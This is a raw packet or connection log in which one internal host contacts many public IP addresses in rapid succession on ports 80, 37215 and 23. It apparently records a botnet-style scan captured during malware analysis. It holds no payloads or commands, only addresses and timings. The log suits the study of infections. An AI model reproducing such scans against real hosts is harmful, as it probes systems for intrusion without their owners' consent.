Jan 5, 2025 14:26:53.636586905 CET	80	56958	168.206.81.184	192.168.2.13
Jan 5, 2025 14:26:53.636595011 CET	56958	80	192.168.2.13	194.70.139.54
Jan 5, 2025 14:26:53.636603117 CET	80	56958	144.42.87.129	192.168.2.13
Jan 5, 2025 14:26:53.636615038 CET	80	56958	117.177.168.99	192.168.2.13
Jan 5, 2025 14:26:53.636619091 CET	56958	80	192.168.2.13	207.255.36.88
Jan 5, 2025 14:26:53.636626959 CET	80	56958	153.35.202.79	192.168.2.13
Jan 5, 2025 14:26:53.636627913 CET	56958	80	192.168.2.13	144.42.87.129
Jan 5, 2025 14:26:53.636629105 CET	56958	80	192.168.2.13	168.206.81.184
Jan 5, 2025 14:26:53.636637926 CET	80	56958	107.156.206.131	192.168.2.13
Jan 5, 2025 14:26:53.636642933 CET	56958	80	192.168.2.13	117.177.168.99
Jan 5, 2025 14:26:53.636651039 CET	80	56958	47.248.87.162	192.168.2.13
Jan 5, 2025 14:26:53.636661053 CET	56958	80	192.168.2.13	153.35.202.79
Jan 5, 2025 14:26:53.636666059 CET	56958	80	192.168.2.13	107.156.206.131
Jan 5, 2025 14:26:53.636677027 CET	56958	80	192.168.2.13	47.248.87.162
Jan 5, 2025 14:26:53.636842966 CET	80	56958	140.6.135.109	192.168.2.13
Jan 5, 2025 14:26:53.636853933 CET	80	56958	90.34.164.154	192.168.2.13
Jan 5, 2025 14:26:53.636866093 CET	80	56958	97.22.217.119	192.168.2.13
Jan 5, 2025 14:26:53.636878014 CET	80	56958	221.124.53.8	192.168.2.13
Jan 5, 2025 14:26:53.636882067 CET	56958	80	192.168.2.13	90.34.164.154
Jan 5, 2025 14:26:53.636883020 CET	56958	80	192.168.2.13	140.6.135.109
Jan 5, 2025 14:26:53.636888027 CET	56958	80	192.168.2.13	97.22.217.119
Jan 5, 2025 14:26:53.636892080 CET	80	56958	174.92.211.105	192.168.2.13
Jan 5, 2025 14:26:53.636904001 CET	80	56958	43.50.1.171	192.168.2.13
Jan 5, 2025 14:26:53.636914015 CET	56958	80	192.168.2.13	221.124.53.8
Jan 5, 2025 14:26:53.636914968 CET	80	56958	44.59.3.80	192.168.2.13
Jan 5, 2025 14:26:53.636918068 CET	56958	80	192.168.2.13	174.92.211.105
Jan 5, 2025 14:26:53.636928082 CET	80	56958	4.170.217.133	192.168.2.13
Jan 5, 2025 14:26:53.636929989 CET	56958	80	192.168.2.13	43.50.1.171
Jan 5, 2025 14:26:53.636939049 CET	80	56958	120.174.76.147	192.168.2.13
Jan 5, 2025 14:26:53.636940956 CET	56958	80	192.168.2.13	44.59.3.80
Jan 5, 2025 14:26:53.636950970 CET	80	56958	198.217.110.104	192.168.2.13
Jan 5, 2025 14:26:53.636960983 CET	80	56958	176.222.222.58	192.168.2.13
Jan 5, 2025 14:26:53.636962891 CET	56958	80	192.168.2.13	120.174.76.147
Jan 5, 2025 14:26:53.636962891 CET	56958	80	192.168.2.13	4.170.217.133
Jan 5, 2025 14:26:53.636971951 CET	80	56958	132.186.207.59	192.168.2.13
Jan 5, 2025 14:26:53.636976957 CET	56958	80	192.168.2.13	198.217.110.104
Jan 5, 2025 14:26:53.636984110 CET	80	56958	23.53.22.11	192.168.2.13
Jan 5, 2025 14:26:53.636986971 CET	56958	80	192.168.2.13	176.222.222.58
Jan 5, 2025 14:26:53.636995077 CET	80	56958	98.161.96.215	192.168.2.13
Jan 5, 2025 14:26:53.637001038 CET	56958	80	192.168.2.13	132.186.207.59
Jan 5, 2025 14:26:53.637005091 CET	56958	80	192.168.2.13	23.53.22.11
Jan 5, 2025 14:26:53.637022972 CET	56958	80	192.168.2.13	98.161.96.215
Jan 5, 2025 14:26:53.637031078 CET	80	56958	9.248.137.237	192.168.2.13
Jan 5, 2025 14:26:53.637042046 CET	80	56958	159.196.207.39	192.168.2.13
Jan 5, 2025 14:26:53.637053013 CET	80	56958	41.122.180.203	192.168.2.13
Jan 5, 2025 14:26:53.637063980 CET	80	56958	74.100.9.3	192.168.2.13
Jan 5, 2025 14:26:53.637067080 CET	56958	80	192.168.2.13	159.196.207.39
Jan 5, 2025 14:26:53.637067080 CET	56958	80	192.168.2.13	9.248.137.237
Jan 5, 2025 14:26:53.637073994 CET	56958	80	192.168.2.13	41.122.180.203
Jan 5, 2025 14:26:53.637075901 CET	80	56958	85.107.32.131	192.168.2.13
Jan 5, 2025 14:26:53.637085915 CET	80	56958	182.179.229.36	192.168.2.13
Jan 5, 2025 14:26:53.637096882 CET	80	56958	113.159.145.106	192.168.2.13
Jan 5, 2025 14:26:53.637104034 CET	56958	80	192.168.2.13	74.100.9.3
Jan 5, 2025 14:26:53.637104988 CET	56958	80	192.168.2.13	85.107.32.131
Jan 5, 2025 14:26:53.637109041 CET	80	56958	25.213.217.67	192.168.2.13
Jan 5, 2025 14:26:53.637114048 CET	56958	80	192.168.2.13	182.179.229.36
Jan 5, 2025 14:26:53.637128115 CET	56958	80	192.168.2.13	113.159.145.106
Jan 5, 2025 14:26:53.637130976 CET	56958	80	192.168.2.13	25.213.217.67
Jan 5, 2025 14:26:53.641347885 CET	80	56958	39.153.86.8	192.168.2.13
Jan 5, 2025 14:26:53.641360998 CET	80	56958	185.109.216.10	192.168.2.13
Jan 5, 2025 14:26:53.641372919 CET	80	56958	162.9.146.128	192.168.2.13
Jan 5, 2025 14:26:53.641385078 CET	80	56958	108.37.183.143	192.168.2.13
Jan 5, 2025 14:26:53.641395092 CET	80	56958	213.204.244.108	192.168.2.13
Jan 5, 2025 14:26:53.641396046 CET	56958	80	192.168.2.13	39.153.86.8
Jan 5, 2025 14:26:53.641398907 CET	56958	80	192.168.2.13	185.109.216.10
Jan 5, 2025 14:26:53.641407013 CET	80	56958	176.96.253.149	192.168.2.13
Jan 5, 2025 14:26:53.641412020 CET	56958	80	192.168.2.13	108.37.183.143
Jan 5, 2025 14:26:53.641418934 CET	80	56958	68.179.119.142	192.168.2.13
Jan 5, 2025 14:26:53.641419888 CET	56958	80	192.168.2.13	162.9.146.128
Jan 5, 2025 14:26:53.641427994 CET	56958	80	192.168.2.13	213.204.244.108
Jan 5, 2025 14:26:53.641428947 CET	80	56958	12.69.37.219	192.168.2.13
Jan 5, 2025 14:26:53.641441107 CET	56958	80	192.168.2.13	176.96.253.149
Jan 5, 2025 14:26:53.641442060 CET	80	56958	70.170.141.169	192.168.2.13
Jan 5, 2025 14:26:53.641443968 CET	56958	80	192.168.2.13	68.179.119.142
Jan 5, 2025 14:26:53.641453028 CET	80	56958	164.96.50.138	192.168.2.13
Jan 5, 2025 14:26:53.641463995 CET	80	56958	62.136.35.107	192.168.2.13
Jan 5, 2025 14:26:53.641464949 CET	56958	80	192.168.2.13	12.69.37.219
Jan 5, 2025 14:26:53.641474009 CET	56958	80	192.168.2.13	70.170.141.169
Jan 5, 2025 14:26:53.641474962 CET	80	56958	83.122.59.236	192.168.2.13
Jan 5, 2025 14:26:53.641483068 CET	56958	80	192.168.2.13	164.96.50.138
Jan 5, 2025 14:26:53.641486883 CET	80	56958	175.138.211.65	192.168.2.13
Jan 5, 2025 14:26:53.641491890 CET	56958	80	192.168.2.13	62.136.35.107
Jan 5, 2025 14:26:53.641499043 CET	80	56958	213.35.130.108	192.168.2.13
Jan 5, 2025 14:26:53.641510963 CET	56958	80	192.168.2.13	175.138.211.65
Jan 5, 2025 14:26:53.641511917 CET	56958	80	192.168.2.13	83.122.59.236
Jan 5, 2025 14:26:53.641514063 CET	80	56958	168.186.120.171	192.168.2.13
Jan 5, 2025 14:26:53.641525984 CET	80	56958	95.238.195.12	192.168.2.13
Jan 5, 2025 14:26:53.641532898 CET	56958	80	192.168.2.13	213.35.130.108
Jan 5, 2025 14:26:53.641537905 CET	80	56958	172.62.123.93	192.168.2.13
Jan 5, 2025 14:26:53.641547918 CET	56958	80	192.168.2.13	168.186.120.171
Jan 5, 2025 14:26:53.641550064 CET	56958	80	192.168.2.13	95.238.195.12
Jan 5, 2025 14:26:53.641551971 CET	80	56958	208.31.194.136	192.168.2.13
Jan 5, 2025 14:26:53.641572952 CET	56958	80	192.168.2.13	172.62.123.93
Jan 5, 2025 14:26:53.641581059 CET	56958	80	192.168.2.13	208.31.194.136
Jan 5, 2025 14:26:53.641582012 CET	80	56958	18.235.10.26	192.168.2.13
Jan 5, 2025 14:26:53.641593933 CET	80	56958	148.191.125.133	192.168.2.13
Jan 5, 2025 14:26:53.641606092 CET	80	56958	131.41.241.155	192.168.2.13
Jan 5, 2025 14:26:53.641616106 CET	80	56958	193.171.152.57	192.168.2.13
Jan 5, 2025 14:26:53.641618967 CET	56958	80	192.168.2.13	18.235.10.26
Jan 5, 2025 14:26:53.641621113 CET	56958	80	192.168.2.13	148.191.125.133
Jan 5, 2025 14:26:53.641625881 CET	80	56958	192.244.49.80	192.168.2.13
Jan 5, 2025 14:26:53.641627073 CET	56958	80	192.168.2.13	131.41.241.155
Jan 5, 2025 14:26:53.641638994 CET	80	56958	220.2.179.250	192.168.2.13
Jan 5, 2025 14:26:53.641639948 CET	56958	80	192.168.2.13	193.171.152.57
Jan 5, 2025 14:26:53.641654015 CET	56958	80	192.168.2.13	192.244.49.80
Jan 5, 2025 14:26:53.641669035 CET	80	56958	126.157.187.235	192.168.2.13
Jan 5, 2025 14:26:53.641680002 CET	80	56958	43.188.126.123	192.168.2.13
Jan 5, 2025 14:26:53.641690969 CET	80	56958	57.178.24.154	192.168.2.13
Jan 5, 2025 14:26:53.641693115 CET	56958	80	192.168.2.13	220.2.179.250
Jan 5, 2025 14:26:53.641701937 CET	80	56958	86.78.207.41	192.168.2.13
Jan 5, 2025 14:26:53.641705990 CET	56958	80	192.168.2.13	126.157.187.235
Jan 5, 2025 14:26:53.641707897 CET	56958	80	192.168.2.13	43.188.126.123
Jan 5, 2025 14:26:53.641714096 CET	56958	80	192.168.2.13	57.178.24.154
Jan 5, 2025 14:26:53.641726971 CET	80	56958	5.240.107.112	192.168.2.13
Jan 5, 2025 14:26:53.641736031 CET	56958	80	192.168.2.13	86.78.207.41
Jan 5, 2025 14:26:53.641740084 CET	80	56958	35.64.69.62	192.168.2.13
Jan 5, 2025 14:26:53.641751051 CET	80	56958	64.91.25.212	192.168.2.13
Jan 5, 2025 14:26:53.641757011 CET	56958	80	192.168.2.13	5.240.107.112
Jan 5, 2025 14:26:53.641760111 CET	56958	80	192.168.2.13	35.64.69.62
Jan 5, 2025 14:26:53.641761065 CET	80	56958	188.51.143.156	192.168.2.13
Jan 5, 2025 14:26:53.641772032 CET	56958	80	192.168.2.13	64.91.25.212
Jan 5, 2025 14:26:53.641772985 CET	80	56958	170.84.61.11	192.168.2.13
Jan 5, 2025 14:26:53.641783953 CET	80	56958	50.66.56.213	192.168.2.13
Jan 5, 2025 14:26:53.641792059 CET	56958	80	192.168.2.13	188.51.143.156
Jan 5, 2025 14:26:53.641794920 CET	80	56958	188.172.100.78	192.168.2.13
Jan 5, 2025 14:26:53.641801119 CET	56958	80	192.168.2.13	170.84.61.11
Jan 5, 2025 14:26:53.641805887 CET	80	56958	73.73.85.60	192.168.2.13
Jan 5, 2025 14:26:53.641812086 CET	56958	80	192.168.2.13	50.66.56.213
Jan 5, 2025 14:26:53.641818047 CET	80	56958	70.175.241.17	192.168.2.13
Jan 5, 2025 14:26:53.641820908 CET	56958	80	192.168.2.13	188.172.100.78
Jan 5, 2025 14:26:53.641829967 CET	80	56958	101.53.250.76	192.168.2.13
Jan 5, 2025 14:26:53.641832113 CET	56958	80	192.168.2.13	73.73.85.60
Jan 5, 2025 14:26:53.641840935 CET	80	56958	98.202.158.137	192.168.2.13
Jan 5, 2025 14:26:53.641844034 CET	56958	80	192.168.2.13	70.175.241.17
Jan 5, 2025 14:26:53.641853094 CET	80	56958	130.201.16.9	192.168.2.13
Jan 5, 2025 14:26:53.641856909 CET	56958	80	192.168.2.13	101.53.250.76
Jan 5, 2025 14:26:53.641864061 CET	56958	80	192.168.2.13	98.202.158.137
Jan 5, 2025 14:26:53.641865015 CET	80	56958	93.78.25.220	192.168.2.13
Jan 5, 2025 14:26:53.641872883 CET	56958	80	192.168.2.13	130.201.16.9
Jan 5, 2025 14:26:53.641876936 CET	80	56958	132.148.206.39	192.168.2.13
Jan 5, 2025 14:26:53.641889095 CET	80	56958	169.177.216.77	192.168.2.13
Jan 5, 2025 14:26:53.641891956 CET	56958	80	192.168.2.13	93.78.25.220
Jan 5, 2025 14:26:53.641905069 CET	80	56958	90.219.134.167	192.168.2.13
Jan 5, 2025 14:26:53.641915083 CET	56958	80	192.168.2.13	132.148.206.39
Jan 5, 2025 14:26:53.641921997 CET	80	56958	31.192.238.25	192.168.2.13
Jan 5, 2025 14:26:53.641922951 CET	56958	80	192.168.2.13	169.177.216.77
Jan 5, 2025 14:26:53.641933918 CET	80	56958	203.57.112.31	192.168.2.13
Jan 5, 2025 14:26:53.641935110 CET	56958	80	192.168.2.13	90.219.134.167
Jan 5, 2025 14:26:53.641944885 CET	80	56958	92.128.57.47	192.168.2.13
Jan 5, 2025 14:26:53.641952991 CET	56958	80	192.168.2.13	31.192.238.25
Jan 5, 2025 14:26:53.641954899 CET	56958	80	192.168.2.13	203.57.112.31
Jan 5, 2025 14:26:53.641957045 CET	80	56958	47.214.179.76	192.168.2.13
Jan 5, 2025 14:26:53.641968966 CET	80	56958	153.224.111.26	192.168.2.13
Jan 5, 2025 14:26:53.641979933 CET	80	56958	52.80.168.177	192.168.2.13
Jan 5, 2025 14:26:53.641979933 CET	56958	80	192.168.2.13	92.128.57.47
Jan 5, 2025 14:26:53.641993999 CET	80	56958	179.122.26.72	192.168.2.13
Jan 5, 2025 14:26:53.641997099 CET	56958	80	192.168.2.13	153.224.111.26
Jan 5, 2025 14:26:53.641998053 CET	56958	80	192.168.2.13	47.214.179.76
Jan 5, 2025 14:26:53.642008066 CET	80	56958	222.189.243.39	192.168.2.13
Jan 5, 2025 14:26:53.642019033 CET	80	56958	121.106.199.139	192.168.2.13
Jan 5, 2025 14:26:53.642023087 CET	56958	80	192.168.2.13	52.80.168.177
Jan 5, 2025 14:26:53.642029047 CET	56958	80	192.168.2.13	179.122.26.72
Jan 5, 2025 14:26:53.642030001 CET	80	56958	95.147.60.89	192.168.2.13
Jan 5, 2025 14:26:53.642033100 CET	56958	80	192.168.2.13	222.189.243.39
Jan 5, 2025 14:26:53.642041922 CET	80	56958	103.59.158.247	192.168.2.13
Jan 5, 2025 14:26:53.642046928 CET	56958	80	192.168.2.13	121.106.199.139
Jan 5, 2025 14:26:53.642052889 CET	80	56958	126.164.92.163	192.168.2.13
Jan 5, 2025 14:26:53.642054081 CET	56958	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:53.642069101 CET	56958	80	192.168.2.13	103.59.158.247
Jan 5, 2025 14:26:53.642083883 CET	56958	80	192.168.2.13	126.164.92.163
Jan 5, 2025 14:26:53.647677898 CET	53872	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.652507067 CET	37215	53872	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:53.652565956 CET	53872	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.652651072 CET	53872	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.652651072 CET	53872	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.652692080 CET	53876	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.657390118 CET	37215	53872	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:53.657540083 CET	37215	53876	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:53.657577991 CET	53876	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.657578945 CET	53876	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.661725044 CET	57214	23	192.168.2.13	65.22.62.61
Jan 5, 2025 14:26:53.661737919 CET	57214	23	192.168.2.13	43.5.157.144
Jan 5, 2025 14:26:53.661741018 CET	57214	23	192.168.2.13	37.230.109.153
Jan 5, 2025 14:26:53.661745071 CET	57214	23	192.168.2.13	138.169.93.231
Jan 5, 2025 14:26:53.661746979 CET	57214	23	192.168.2.13	159.51.6.103
Jan 5, 2025 14:26:53.661748886 CET	57214	23	192.168.2.13	84.239.60.78
Jan 5, 2025 14:26:53.661767960 CET	57214	23	192.168.2.13	20.42.26.164
Jan 5, 2025 14:26:53.661767960 CET	57214	23	192.168.2.13	129.104.31.155
Jan 5, 2025 14:26:53.661767960 CET	57214	23	192.168.2.13	126.226.184.18
Jan 5, 2025 14:26:53.661768913 CET	57214	23	192.168.2.13	72.71.215.41
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	176.11.165.83
Jan 5, 2025 14:26:53.661770105 CET	57214	23	192.168.2.13	14.67.146.147
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	83.104.164.135
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	1.107.205.171
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	189.80.98.245
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	131.222.225.246
Jan 5, 2025 14:26:53.661772013 CET	57214	23	192.168.2.13	13.123.59.204
Jan 5, 2025 14:26:53.661777973 CET	57214	23	192.168.2.13	131.52.90.22
Jan 5, 2025 14:26:53.661777973 CET	57214	23	192.168.2.13	82.70.74.92
Jan 5, 2025 14:26:53.661782026 CET	57214	23	192.168.2.13	4.55.6.232
Jan 5, 2025 14:26:53.661787987 CET	57214	23	192.168.2.13	36.159.55.18
Jan 5, 2025 14:26:53.661787987 CET	57214	23	192.168.2.13	31.4.11.90
Jan 5, 2025 14:26:53.661791086 CET	57214	23	192.168.2.13	178.1.75.203
Jan 5, 2025 14:26:53.661791086 CET	57214	23	192.168.2.13	156.18.94.99
Jan 5, 2025 14:26:53.661791086 CET	57214	23	192.168.2.13	189.131.246.188
Jan 5, 2025 14:26:53.661792994 CET	57214	23	192.168.2.13	81.192.82.17
Jan 5, 2025 14:26:53.661798000 CET	57214	23	192.168.2.13	110.73.143.119
Jan 5, 2025 14:26:53.661798954 CET	57214	23	192.168.2.13	50.80.147.75
Jan 5, 2025 14:26:53.661801100 CET	57214	23	192.168.2.13	36.62.2.146
Jan 5, 2025 14:26:53.661803961 CET	57214	23	192.168.2.13	167.23.121.184
Jan 5, 2025 14:26:53.661813974 CET	57214	23	192.168.2.13	77.217.22.92
Jan 5, 2025 14:26:53.661815882 CET	57214	23	192.168.2.13	177.134.17.139
Jan 5, 2025 14:26:53.661818027 CET	57214	23	192.168.2.13	9.23.152.72
Jan 5, 2025 14:26:53.661823988 CET	57214	23	192.168.2.13	74.118.33.201
Jan 5, 2025 14:26:53.661823988 CET	57214	23	192.168.2.13	139.73.187.2
Jan 5, 2025 14:26:53.661824942 CET	57214	23	192.168.2.13	77.109.218.157
Jan 5, 2025 14:26:53.661827087 CET	57214	23	192.168.2.13	194.3.16.148
Jan 5, 2025 14:26:53.661834955 CET	57214	23	192.168.2.13	24.91.39.68
Jan 5, 2025 14:26:53.661839008 CET	57214	23	192.168.2.13	102.149.226.185
Jan 5, 2025 14:26:53.661839962 CET	57214	23	192.168.2.13	96.50.126.107
Jan 5, 2025 14:26:53.661844015 CET	57214	23	192.168.2.13	88.252.218.9
Jan 5, 2025 14:26:53.661847115 CET	57214	23	192.168.2.13	93.78.243.142
Jan 5, 2025 14:26:53.661848068 CET	57214	23	192.168.2.13	66.139.85.57
Jan 5, 2025 14:26:53.661854029 CET	57214	23	192.168.2.13	146.213.244.180
Jan 5, 2025 14:26:53.661864042 CET	57214	23	192.168.2.13	172.202.216.220
Jan 5, 2025 14:26:53.661868095 CET	57214	23	192.168.2.13	138.112.0.81
Jan 5, 2025 14:26:53.661878109 CET	57214	23	192.168.2.13	34.181.41.191
Jan 5, 2025 14:26:53.661885977 CET	57214	23	192.168.2.13	119.181.140.253
Jan 5, 2025 14:26:53.661889076 CET	57214	23	192.168.2.13	70.14.37.94
Jan 5, 2025 14:26:53.661906004 CET	57214	23	192.168.2.13	94.228.158.185
Jan 5, 2025 14:26:53.661906958 CET	57214	23	192.168.2.13	189.76.15.218
Jan 5, 2025 14:26:53.661911964 CET	57214	23	192.168.2.13	210.209.210.102
Jan 5, 2025 14:26:53.661923885 CET	57214	23	192.168.2.13	45.241.42.237
Jan 5, 2025 14:26:53.661925077 CET	57214	23	192.168.2.13	104.34.236.196
Jan 5, 2025 14:26:53.661927938 CET	57214	23	192.168.2.13	23.124.33.84
Jan 5, 2025 14:26:53.661930084 CET	57214	23	192.168.2.13	184.103.82.188
Jan 5, 2025 14:26:53.661936045 CET	57214	23	192.168.2.13	107.3.227.125
Jan 5, 2025 14:26:53.661945105 CET	57214	23	192.168.2.13	62.155.178.14
Jan 5, 2025 14:26:53.661950111 CET	57214	23	192.168.2.13	221.157.169.127
Jan 5, 2025 14:26:53.661963940 CET	57214	23	192.168.2.13	35.197.231.208
Jan 5, 2025 14:26:53.661969900 CET	57214	23	192.168.2.13	41.92.241.88
Jan 5, 2025 14:26:53.661979914 CET	57214	23	192.168.2.13	79.51.128.10
Jan 5, 2025 14:26:53.661993027 CET	57214	23	192.168.2.13	195.251.166.61
Jan 5, 2025 14:26:53.661998034 CET	57214	23	192.168.2.13	113.0.45.174
Jan 5, 2025 14:26:53.661998034 CET	57214	23	192.168.2.13	25.145.116.50
Jan 5, 2025 14:26:53.661998034 CET	57214	23	192.168.2.13	162.128.126.174
Jan 5, 2025 14:26:53.661998987 CET	57214	23	192.168.2.13	103.232.90.179
Jan 5, 2025 14:26:53.662000895 CET	57214	23	192.168.2.13	93.41.242.48
Jan 5, 2025 14:26:53.662014008 CET	57214	23	192.168.2.13	95.67.91.109
Jan 5, 2025 14:26:53.662015915 CET	57214	23	192.168.2.13	202.203.43.231
Jan 5, 2025 14:26:53.662015915 CET	57214	23	192.168.2.13	174.9.88.141
Jan 5, 2025 14:26:53.662020922 CET	57214	23	192.168.2.13	210.181.200.216
Jan 5, 2025 14:26:53.662024021 CET	57214	23	192.168.2.13	190.210.211.216
Jan 5, 2025 14:26:53.662029982 CET	57214	23	192.168.2.13	218.111.210.6
Jan 5, 2025 14:26:53.662036896 CET	57214	23	192.168.2.13	223.46.246.90
Jan 5, 2025 14:26:53.662045956 CET	57214	23	192.168.2.13	176.248.11.97
Jan 5, 2025 14:26:53.662046909 CET	57214	23	192.168.2.13	167.120.191.142
Jan 5, 2025 14:26:53.662064075 CET	57214	23	192.168.2.13	111.87.95.63
Jan 5, 2025 14:26:53.662066936 CET	57214	23	192.168.2.13	199.24.233.200
Jan 5, 2025 14:26:53.662066936 CET	57214	23	192.168.2.13	108.240.65.10
Jan 5, 2025 14:26:53.662072897 CET	57214	23	192.168.2.13	20.230.189.177
Jan 5, 2025 14:26:53.662072897 CET	57214	23	192.168.2.13	202.73.133.129
Jan 5, 2025 14:26:53.662085056 CET	57214	23	192.168.2.13	91.226.233.110
Jan 5, 2025 14:26:53.662085056 CET	57214	23	192.168.2.13	97.85.144.141
Jan 5, 2025 14:26:53.662086964 CET	57214	23	192.168.2.13	51.135.180.204
Jan 5, 2025 14:26:53.662101984 CET	57214	23	192.168.2.13	202.227.66.34
Jan 5, 2025 14:26:53.662106037 CET	57214	23	192.168.2.13	193.235.158.65
Jan 5, 2025 14:26:53.662111998 CET	57214	23	192.168.2.13	138.139.115.96
Jan 5, 2025 14:26:53.662111998 CET	57214	23	192.168.2.13	192.128.228.5
Jan 5, 2025 14:26:53.662113905 CET	57214	23	192.168.2.13	18.245.19.28
Jan 5, 2025 14:26:53.662115097 CET	57214	23	192.168.2.13	160.117.75.102
Jan 5, 2025 14:26:53.662127972 CET	57214	23	192.168.2.13	106.92.171.27
Jan 5, 2025 14:26:53.662127972 CET	57214	23	192.168.2.13	24.18.125.33
Jan 5, 2025 14:26:53.662128925 CET	57214	23	192.168.2.13	93.42.255.192
Jan 5, 2025 14:26:53.662142038 CET	57214	23	192.168.2.13	91.89.115.142
Jan 5, 2025 14:26:53.662146091 CET	57214	23	192.168.2.13	209.96.211.133
Jan 5, 2025 14:26:53.662153006 CET	57214	23	192.168.2.13	79.71.13.102
Jan 5, 2025 14:26:53.662167072 CET	57214	23	192.168.2.13	46.228.24.121
Jan 5, 2025 14:26:53.662168026 CET	57214	23	192.168.2.13	128.104.200.252
Jan 5, 2025 14:26:53.662168980 CET	57214	23	192.168.2.13	221.141.249.1
Jan 5, 2025 14:26:53.662169933 CET	57214	23	192.168.2.13	24.1.183.172
Jan 5, 2025 14:26:53.662173033 CET	57214	23	192.168.2.13	187.147.39.255
Jan 5, 2025 14:26:53.662189007 CET	57214	23	192.168.2.13	117.163.183.180
Jan 5, 2025 14:26:53.662193060 CET	57214	23	192.168.2.13	50.121.194.165
Jan 5, 2025 14:26:53.662193060 CET	57214	23	192.168.2.13	84.31.124.159
Jan 5, 2025 14:26:53.662214994 CET	57214	23	192.168.2.13	152.194.224.117
Jan 5, 2025 14:26:53.662216902 CET	57214	23	192.168.2.13	64.187.59.44
Jan 5, 2025 14:26:53.662216902 CET	57214	23	192.168.2.13	47.168.127.81
Jan 5, 2025 14:26:53.662223101 CET	57214	23	192.168.2.13	94.244.245.231
Jan 5, 2025 14:26:53.662225008 CET	57214	23	192.168.2.13	166.118.225.148
Jan 5, 2025 14:26:53.662233114 CET	57214	23	192.168.2.13	104.149.10.216
Jan 5, 2025 14:26:53.662254095 CET	57214	23	192.168.2.13	125.61.236.227
Jan 5, 2025 14:26:53.662257910 CET	57214	23	192.168.2.13	117.174.75.81
Jan 5, 2025 14:26:53.662260056 CET	57214	23	192.168.2.13	181.25.158.241
Jan 5, 2025 14:26:53.662261009 CET	57214	23	192.168.2.13	139.109.53.46
Jan 5, 2025 14:26:53.662264109 CET	57214	23	192.168.2.13	128.187.172.150
Jan 5, 2025 14:26:53.662264109 CET	57214	23	192.168.2.13	119.174.234.156
Jan 5, 2025 14:26:53.662266016 CET	57214	23	192.168.2.13	14.255.125.245
Jan 5, 2025 14:26:53.662269115 CET	57214	23	192.168.2.13	105.90.69.250
Jan 5, 2025 14:26:53.662271976 CET	57214	23	192.168.2.13	80.231.12.108
Jan 5, 2025 14:26:53.662283897 CET	57214	23	192.168.2.13	131.65.6.195
Jan 5, 2025 14:26:53.662287951 CET	57214	23	192.168.2.13	93.12.197.142
Jan 5, 2025 14:26:53.662292957 CET	57214	23	192.168.2.13	164.165.217.39
Jan 5, 2025 14:26:53.662300110 CET	57214	23	192.168.2.13	80.19.68.198
Jan 5, 2025 14:26:53.662305117 CET	57214	23	192.168.2.13	209.151.153.156
Jan 5, 2025 14:26:53.662307978 CET	57214	23	192.168.2.13	84.197.117.106
Jan 5, 2025 14:26:53.662322998 CET	57214	23	192.168.2.13	44.237.108.255
Jan 5, 2025 14:26:53.662324905 CET	57214	23	192.168.2.13	24.117.96.88
Jan 5, 2025 14:26:53.662326097 CET	57214	23	192.168.2.13	190.219.28.97
Jan 5, 2025 14:26:53.662326097 CET	57214	23	192.168.2.13	175.24.237.84
Jan 5, 2025 14:26:53.662328959 CET	57214	23	192.168.2.13	134.168.105.143
Jan 5, 2025 14:26:53.662332058 CET	57214	23	192.168.2.13	69.4.140.7
Jan 5, 2025 14:26:53.662332058 CET	57214	23	192.168.2.13	85.232.238.40
Jan 5, 2025 14:26:53.662342072 CET	57214	23	192.168.2.13	132.45.3.19
Jan 5, 2025 14:26:53.662355900 CET	57214	23	192.168.2.13	175.163.125.102
Jan 5, 2025 14:26:53.662355900 CET	57214	23	192.168.2.13	94.98.148.135
Jan 5, 2025 14:26:53.662355900 CET	57214	23	192.168.2.13	99.85.189.56
Jan 5, 2025 14:26:53.662362099 CET	57214	23	192.168.2.13	19.100.5.150
Jan 5, 2025 14:26:53.662368059 CET	57214	23	192.168.2.13	211.145.119.162
Jan 5, 2025 14:26:53.662380934 CET	57214	23	192.168.2.13	36.238.26.194
Jan 5, 2025 14:26:53.662385941 CET	57214	23	192.168.2.13	161.201.248.122
Jan 5, 2025 14:26:53.662389994 CET	57214	23	192.168.2.13	94.103.223.126
Jan 5, 2025 14:26:53.662391901 CET	57214	23	192.168.2.13	99.52.7.174
Jan 5, 2025 14:26:53.662393093 CET	57214	23	192.168.2.13	85.10.204.78
Jan 5, 2025 14:26:53.662395000 CET	57214	23	192.168.2.13	222.153.79.48
Jan 5, 2025 14:26:53.662399054 CET	57214	23	192.168.2.13	155.125.231.159
Jan 5, 2025 14:26:53.662399054 CET	57214	23	192.168.2.13	69.63.58.148
Jan 5, 2025 14:26:53.662415028 CET	57214	23	192.168.2.13	109.138.243.174
Jan 5, 2025 14:26:53.662417889 CET	57214	23	192.168.2.13	61.110.80.18
Jan 5, 2025 14:26:53.662425041 CET	57214	23	192.168.2.13	63.240.34.121
Jan 5, 2025 14:26:53.662425041 CET	57214	23	192.168.2.13	2.73.127.237
Jan 5, 2025 14:26:53.662431955 CET	57214	23	192.168.2.13	68.173.212.166
Jan 5, 2025 14:26:53.662435055 CET	57214	23	192.168.2.13	216.68.47.17
Jan 5, 2025 14:26:53.662436962 CET	57214	23	192.168.2.13	48.11.192.165
Jan 5, 2025 14:26:53.662437916 CET	57214	23	192.168.2.13	92.61.183.127
Jan 5, 2025 14:26:53.662451982 CET	57214	23	192.168.2.13	54.13.158.123
Jan 5, 2025 14:26:53.662453890 CET	57214	23	192.168.2.13	54.250.190.4
Jan 5, 2025 14:26:53.662456989 CET	57214	23	192.168.2.13	97.115.191.60
Jan 5, 2025 14:26:53.662456989 CET	57214	23	192.168.2.13	160.85.134.30
Jan 5, 2025 14:26:53.662467957 CET	57214	23	192.168.2.13	205.71.131.195
